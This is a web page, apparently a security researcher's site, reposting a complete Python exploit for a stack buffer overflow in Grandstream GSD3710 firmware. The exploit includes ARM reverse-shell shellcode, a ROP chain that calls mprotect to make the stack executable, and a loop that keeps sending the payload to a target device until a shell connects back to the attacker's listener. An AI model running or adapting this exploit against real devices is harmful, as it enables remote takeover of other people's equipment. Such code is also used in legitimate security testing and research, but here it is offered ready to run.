Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

#!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer #!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

Terminal 1:
$ ncat -lnvp 4444

Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""

from operator import ge
import sys
import time
from pwn import *

import argparse


def get_args():
parser = argparse.ArgumentParser(
formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
prog, max_help_position=50))

# Add arguments
parser.add_argument('-ti', '--target_ip', type=str, required=True,
help='device IP address', dest="device_ip")
parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
help='device port', dest="device_port")
parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
help='reverse IP address', dest="reverse_ip")
parser.add_argument('-rp', '--reverse_port', type=int, required=True,
help='reverse port', dest="reverse_port")

# Array for all arguments passed to script
args = parser.parse_args()

try:
TI = args.device_ip
TP = args.device_port
RI = args.reverse_ip
RP = args.reverse_port

return TI, TP, RI, RP
except ValueError:
exit()


def check_badchars(data):
for i in range(len(data)):
if data[i] in [0x0, 0x40]:
log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
return True
return False


def get_shellcode(ip, port):
ip_bytes = socket.inet_aton(ip)
port_bytes = struct.pack(">H", port)

# Linux ARM reverse shell

# switch to thumb mode
sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1
sc += b"\x13\xFF\x2F\xE1" # bx r3

# socket(2, 1, 0)
sc += b"\x02\x20" # movs r0, #2
sc += b"\x01\x21" # movs r1, #1
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\xC8\x27" # movs r7, #0xc8
sc += b"\x51\x37" # adds r7, #0x51
sc += b"\x01\xDF" # svc #1
sc += b"\x04\x1C" # adds r4, r0, #0

# connect(r0, &sockaddr, 16)
sc += b"\x0C\xA1" # adr r1, #0x30
sc += b"\x4A\x70" # strb r2, [r1, #1]
sc += b"\x10\x22" # movs r2, #0x10
sc += b"\x02\x37" # adds r7, #2
sc += b"\x01\xDF" # svc #1

# dup2(sockfd, 0)
sc += b"\x3F\x27" # movs r7, #0x3f
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\xDF" # svc #1

# dup2(sockfd, 1)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x01\x21" # movs r1, #1
sc += b"\x01\xDF" # svc #1

# dup2(sockfd, 2)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x02\x21" # movs r1, #2
sc += b"\x01\xDF" # svc #1

# execve("/bin/sh")
sc += b"\x06\xA0" # adr r0, #0x18
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\x91" # str r1, [sp, #4]
sc += b"\x02\x91" # str r1, [sp, #8]
sc += b"\x01\x90" # str r0, [sp, #4]
sc += b"\x01\xA9" # add r1, sp, #4
sc += b"\xC2\x71" # strb r2, [r0, #7]
sc += b"\x0B\x27" # movs r7, #0xb
sc += b"\x01\xDF" # svc #1

sc += b"\x02\xFF"
sc += port_bytes
sc += ip_bytes
sc += b"/bin/shX"

return sc


def main():
ti, tp, ri, rp = get_args()

# ROP Gadgets

libc_base = 0x76ec1000

mprotect = libc_base + 0x93510+1
pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc}
pop_pc = libc_base + 0xd7515 # pop {pc}
pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc}

pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc}
add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
# 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
mov_r0_r1 = libc_base + 0x0002f83d
# 0x0006a086 (0x0006a087): pop {r1, pc}
pop_r1 = libc_base + 0x6a087
ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr
# 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
mov_r4_r0 = libc_base + 0x000a3a42+1
# 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
movs_r1_r0 = libc_base + 0x0001fdaf

and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr
movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr
mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr
blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp

shellcode = get_shellcode(ri, rp)

auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
junk = p32(0x43434343)

payload = auth_command
payload += b"A" * 144

# The goal is that R0 -> SP

# R5 = pop {pc}
# because in the the next gadget we have a blx r5
payload += p32(pop_r5)
payload += p32(pop_pc) # R5 = pop {pc}

# R1 = SP ; BLX pop {pc}
payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5

# Restore LR register (because it has been updated by the last BLX gadget)
payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
payload += junk*4 # r0, r4, r8, ip
payload += p32(pop_pc) # LR = pop {pc}

# R0 = stack address
payload += p32(mov_r0_r1) # mov r0, r1; bx lr

# R1 = mask page align
payload += p32(pop_r1) # pop {r1, pc}
payload += p32(0xfffe1001)

# R0 = stack address & 0xfffe1001
payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr
# R4 = R0
payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr
payload += junk # r1

# mprotect params
# r0 = shellcode page aligned address
# r1 = size(ofshellcode)
# r2 = protection (0x7 ? RWX)

# R2 = 0x7
payload += p32(pop_r0)
payload += p32(0x07070707)
payload += p32(and_r0_f) # R0 = 7 (RWX)
payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX)

# R1 = length = 0x10101010 (avoid 0's)
payload += p32(pop_r0)
payload += p32(0x01010101)
payload += p32(movs_r1_r0) # r1 (length: 0x10101010)

# R0 = stack address 4k aligned
payload += p32(mov_r0_r4)

# mprotect(stack, 0x10101010, 0x7)
payload += p32(mprotect)
payload += p32(blx_sp) # ejecutamos en pila
payload += shellcode # shellcode

if check_badchars(payload[len(auth_command):]):
sys.exit(0)

log.info("Device IP: %s:%d" % (ti, tp))
log.info("Attacker IP: %s:%d" % (ri, rp))
log.info("Payload len: %d" % len(payload))

count = 1

while True:
try:
print('Try: %d' % count)
r = remote(ti, tp)
r.send(payload)
log.success("Payload sent!")
# r.close()
time.sleep(1)
count += 1
except:
sleep(3)
pass


if __name__ == '__main__':
main()